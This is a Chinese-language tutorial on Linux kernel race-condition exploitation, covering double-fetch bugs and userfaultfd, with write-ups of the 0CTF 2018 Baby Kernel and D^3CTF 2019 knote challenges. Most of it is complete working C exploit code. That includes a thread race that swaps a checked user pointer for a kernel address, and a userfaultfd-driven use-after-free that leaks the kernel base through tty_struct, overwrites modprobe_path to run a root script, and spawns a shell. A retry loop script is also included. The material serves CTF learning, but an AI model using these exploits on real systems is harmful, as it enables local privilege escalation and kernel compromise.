附件下载链接
double fetch
用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。 一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。 例题:2018 0CTF Finals Baby Kernel baby_ioctl 函数有两个功能。
0x6666 :打印 flag 的存放地址0x1337 :检验用户输入的参数地址是否合法以及用户输入的 flag 内容是否正确。如果通过检验则打印 flag 内容。
接下来 gdb 调试确定 0x1337 的检查逻辑。
首先调试需要 vmlinux 镜像,题目只给了压缩格式的 vmlinuz 。没有找到该版本的内核,因此采用下面这个方法解压出 vmlinux 。其中 skip 的值为 1f 8b 08 00 的地址。
首先修改 init 启动脚本为 root 权限启动。 获取驱动地址 gdb 初始化脚本 gdb.sh 内容设置如下,地址是通过 IDA 中偏移和真实地址换算过来的。
#!/bin/sh
gdb -q \
-ex "file vmlinux" \
-ex "add-symbol-file baby.ko 0xffffffffc036e000" \
-ex "target remote localhost:1234" \
-ex "b *0xffffffffc036e09b" \
-ex "b *0xffffffffc036e0dd" \
-ex "c"
启动 gdb.sh ,然后使用 0x1337 功能,可以看到 gdb 断到第一个 call __chk_range_not_ok 指令处。 这里对应的是 if 判断里 _chk_range_not_ok 函数的第一次调用。 其中第一个参数 v2 是用户传给驱动的参数结构体指针。 第二个参数是结构体的大小。 第三个参数是 current_task 的地址加上 0x1358 处所存的值 0x007ffffffff000 。 if 判断里 _chk_range_not_ok 函数的第二次调用如下图,这次的参数是与用户传入的 flag 相关的。 _chk_range_not_ok 的汇编如下: 意思是如果数据地址加长度能 64 位溢出或者数据地址大于第 3 个参数则返回 1 ,否则返回 0 。因此数据必须在用户空间中。 利用 double fetch 开启另一个线程不断修改传参结构体里的 flag 地址为内核空间的 flag 地址,然后不断进行 0x1337 操作,就有可能在检查地址和检查 flag 内容之间修改了 flag 的地址从而获取到 flag 。 exp 如下:
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>
#define TRYTIME 0x1000
#define LEN 0x1000
struct attr {
char *flag;
size_t len;
};
char *addr;
int finish = 0;
char buf[LEN + 1];
void change_attr_value(void *s) {
struct attr *s1 = s;
while (finish == 0) {
s1->flag = addr;
}
}
int main(void) {
int addr_fd;
char *idx;
int fd = open("/dev/baby", 0);
ioctl(fd, 0x6666);
system("dmesg > /tmp/record.txt");
addr_fd = open("/tmp/record.txt", O_RDONLY);
lseek(addr_fd, -LEN, SEEK_END);
read(addr_fd, buf, LEN);
close(addr_fd);
idx = strstr(buf, "Your flag is at ");
if (idx == 0) {
printf("[-] Not found addr");
exit(-1);
} else {
idx += 16;
addr = (char *) strtoull(idx, NULL, 16);
printf("[+] flag addr: %p\n", addr);
}
pthread_t t1;
struct attr t = {"flag{fake_flag}", 33};
pthread_create(&t1, NULL, (void *) change_attr_value, &t);
for (int i = 0; i < TRYTIME; i++) {
t.flag = "flag{fake_flag}";
ioctl(fd, 0x1337, &t);
}
finish = 1;
pthread_join(t1, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag{");
return 0;
}
userfaultfd
条件竞争的成功利用往往需要正确的顺序,然而若是直接开两个线程进行竞争,命中的几率是比较低的,就比如说前面的 double fetch 尝试 0x1000 次也不一定会命中一次。而 userfaultfd 本身只是一个常规的与处理缺页异常相关的系统调用,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高。
内核的内存主要有两个区域,RAM和交换区,将要被使用的内存放在RAM,暂时用不到的内存放在交换区,内核控制交换进出的过程。RAM中的地址是物理地址,内核使用虚拟地址,其通过多级页表建立虚拟地址到物理地址的映射。但有的内存既不在RAM又不在交换区,比如mmap出来的内存,这块内存在读写它之前并没有分配实际的物理页。例如:mmap(0x1337000,0x1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_PRIVATE,fd,0);
内核并未将fd 内容拷贝到0x1337000 ,只是将地址0x1337000 映射到文件fd 。 比如此时有下列代码运行
char *a = (char *)0x1337000
printf("content: %c\n", a[0]);
可以看到在读取数据,内核会进行以下操作:
- 为
0x1337000 创建物理帧 - 从
fd 读取内容到0x1337000 (如果是堆空间映射的话,会将对应的物理帧清零) - 在页表标记合适的入口,以便识别
0x1337000 虚地址。
所以说,这里的过程用时会比较长。
userfaultfd 是 linux 下的一直缺页处理机制,用户可以自定义函数来处理这种事件。下面举一个向缺页处写入数据的例子:
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
int page_size;
static void *fault_handler_thread(void *arg) {
long uffd = (long) arg;
static char *page = NULL;
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
puts("[-] Error at: mmap");
exit(-1);
}
printf("[*] mmap addr: %p\n", page);
}
while (true) {
struct pollfd pollfd;
pollfd.fd = (int) uffd;
pollfd.events = POLLIN;
int nready = poll(&pollfd, 1, -1);
if (nready == -1) {
puts("[-] Error at: poll");
exit(-1);
}
puts("\nfault_handler_thread():");
printf(" poll() returns: nready = %d; POLLIN = %d; POLLERR = %d\n",
nready, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0);
static struct uffd_msg msg;
ssize_t nread = read((int) uffd, &msg, sizeof(msg));
if (nread == 0) {
puts("[-] EOF on userfaultfd!");
exit(EXIT_FAILURE);
}
if (nread == -1) {
puts("[-] Error at: read");
exit(-1);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
puts("[-] Unexpected event on userfaultfd");
exit(EXIT_FAILURE);
}
printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = 0x%llx; ", msg.arg.pagefault.flags);
printf("address = 0x%llx\n", msg.arg.pagefault.address);
static int fault_cnt = 0;
memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
puts("[-] Error at: ioctl-UFFDIO_COPY");
exit(-1);
}
printf(" (uffdio_copy.copy returned %lld)\n", uffdio_copy.copy);
}
}
int main() {
page_size = (int) sysconf(_SC_PAGE_SIZE);
printf("[*] page size: 0x%x\n", page_size);
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
puts("Error at: userfaultfd");
exit(-1);
}
struct uffdio_api uffdio_api;
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) {
puts("Error at: ioctl-UFFDIO_API");
exit(-1);
}
char *addr = (char *) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
puts("Error at: mmap");
exit(-1);
}
printf("[*] mmap addr: 0x%lx\n", (size_t) addr);
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = page_size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
puts("Error at: ioctl-UFFDIO_REGISTER");
exit(-1);
}
pthread_t thr;
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
puts("Error at: pthread_create");
exit(-1);
}
size_t ptr = *(unsigned long long *) addr;
printf("[*] Get data: 0x%lx\n", ptr);
return 0;
}
运行结果如图,自定义的缺页处理函数向缺页处写入了数据。 需要说明的是,新版本内核 fs/userfaultfd.c 中全局变量 sysctl_unprivileged_userfaultfd 初始化为 1,这意味着只有 root 权限用户才能使用 userfaultfd 。
例题:D^3CTF2019 - knote 有 add,dele,edit,get 4种功能,ioctl 不能调用超过 9 次。其中 edit 和 get 没有加锁。 首先是内核地址泄露。利用 userfaultfd 制造将获取数据的内存块替换成 tty_struct,然后从其中的数据获取内核基地址。 第二次同理,利用 userfaultfd 构造 UAF 劫持 freelist 修改 modprobe_path 使得修改 flag 文件权限的 shell 脚本以管理员权限执行。 完整 exp:
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <semaphore.h>
#include <stdbool.h>
const int TTY_STRUCT_SIZE = 0x2e0;
const size_t DO_SAK_WORK = 0xffffffff815d4ef0;
const size_t MODPROBE_PATH = 0xffffffff8245c5c0;
char *page;
long page_size;
void *fault_handler_thread(void *arg) {
long uffd = (long) arg;
while (true) {
struct pollfd pollfd;
pollfd.fd = (int) uffd;
pollfd.events = POLLIN;
int nready = poll(&pollfd, 1, -1);
if (nready == -1) {
puts("[-] Error at: poll");
exit(-1);
}
static struct uffd_msg msg;
ssize_t nread = read((int) uffd, &msg, sizeof(msg));
sleep(4);
if (nread == 0) {
puts("[-] Error at: EOF on userfaultfd!");
exit(EXIT_FAILURE);
}
if (nread == -1) {
puts("[-] Error at: read");
exit(-1);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
puts("[-] Unexpected event on userfaultfd");
exit(EXIT_FAILURE);
}
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
puts("[-] Error at: ioctl-UFFDIO_COPY");
exit(-1);
}
}
}
void register_userfaultfd(void *addr, size_t len, void(*handler)(void *)) {
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
puts("[-] Error at: userfaultfd");
exit(-1);
}
struct uffdio_api uffdio_api = {.api=UFFD_API, .features=0};
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
puts("[-] Error at: ioctl-UFFDIO_API");
exit(-1);
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
puts("[-] Error at: ioctl-UFFDIO_REGISTER");
exit(-1);
}
static pthread_t monitor_thread;
if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) {
puts("[-] Error at: pthread_create");
exit(-1);
}
}
typedef struct {
union {
size_t size;
size_t index;
};
char *buf;
} Chunk;
long knote_fd;
void chunk_add(size_t size) {
Chunk chunk = {.size=size};
ioctl((int) knote_fd, 0x1337, &chunk);
}
void chunk_edit(size_t index, char *buf) {
Chunk chunk = {.index=index, .buf=buf};
ioctl((int) knote_fd, 0x8888, &chunk);
}
void chunk_get(size_t index, char *buf) {
Chunk chunk = {.index=index, .buf=buf};
ioctl((int) knote_fd, 0x2333, &chunk);
}
void chunk_del(size_t index) {
Chunk chunk = {.index=index};
ioctl((int) knote_fd, 0x6666, &chunk);
}
int main() {
page_size = sysconf(_SC_PAGE_SIZE);
char *buf1 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char *buf2 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd(buf1, 0x1000, (void *) fault_handler_thread);
register_userfaultfd(buf2, 0x1000, (void *) fault_handler_thread);
page = malloc(0x1000);
void *kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
FILE *addr_fp = fopen("/addr.txt", "r");
knote_fd = open("/dev/knote", O_RDWR);
if (addr_fp != NULL) {
fscanf(addr_fp, "%llx %llx", &kernel_base, &kernel_offset);
fclose(addr_fp);
} else {
chunk_add(TTY_STRUCT_SIZE);
pid_t pid = fork();
if (pid < 0) {
puts("[-] FAILED to fork the child");
exit(-1);
} else if (pid == 0) {
puts("[*] Child process sleeping now...");
sleep(1);
puts("[*] Child process started.");
chunk_del(0);
sleep(1);
open("/dev/ptmx", O_RDWR);
puts("[*] Object free and tty got open. Backing parent thread...");
exit(0);
} else {
puts("[*] Parent process trapped in userfaultfd...");
chunk_get(0, buf1);
puts("[*] tty struct data obtained");
}
for (int i = 0; i < 0x58; i++) {
printf("[----data-dump----] %d: %p\n", i, ((size_t *) buf1)[i]);
}
if (((size_t *) buf1)[86]) {
puts("[+] Successfully hit the tty_struct.");
kernel_offset = ((size_t *) buf1)[86] - DO_SAK_WORK;
kernel_base = (void *) ((size_t) kernel_base + kernel_offset);
} else {
puts("[-] Failed to hit the tty struct.");
exit(-1);
}
addr_fp = fopen("/addr.txt", "w");
fprintf(addr_fp, "%llx %llx", kernel_base, kernel_offset);
fclose(addr_fp);
}
size_t modprobe_path = MODPROBE_PATH + kernel_offset;
printf("[*] Kernel offset: %p\n", kernel_offset);
printf("[*] Kernel base: %p\n", kernel_base);
printf("[*] modprobe_path: %p\n", modprobe_path);
if (open("/shell.sh", O_RDWR) < 0) {
system("echo '#!/bin/sh' >> /shell.sh");
system("echo 'chmod 777 /flag' >> /shell.sh");
system("chmod +x /shell.sh");
}
chunk_add(0x100);
memcpy(page, &modprobe_path, 8);
pid_t pid = fork();
if (pid < 0) {
puts("[-] FAILED to fork the child");
exit(-1);
} else if (pid == 0) {
puts("[*] Child process sleeping now...");
sleep(1);
puts("[*] Child process started.");
chunk_del(0);
puts("[*] UAF constructed");
exit(0);
} else {
puts("[*] Parent process trapped in userfaultfd...");
chunk_edit(0, buf2);
puts("[*] Hijack finished");
}
chunk_add(0x100);
chunk_add(0x100);
chunk_edit(1, "/shell.sh");
system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
system("/fake");
if (open("/flag", O_RDWR) < 0) {
puts("FAILED to hijack!");
exit(-1);
}
puts("[+] hijack success");
system("/bin/sh");
return 0;
}
因为成功率比较低,需要多次尝试,因此还需要创建一个辅助脚本 exp.sh 来重新运行 exp ,如果攻击成功 exp 会返回一个 shell 所以不会再重启。
#!/bin/sh
while true; do
./exp
done
运行结果:
|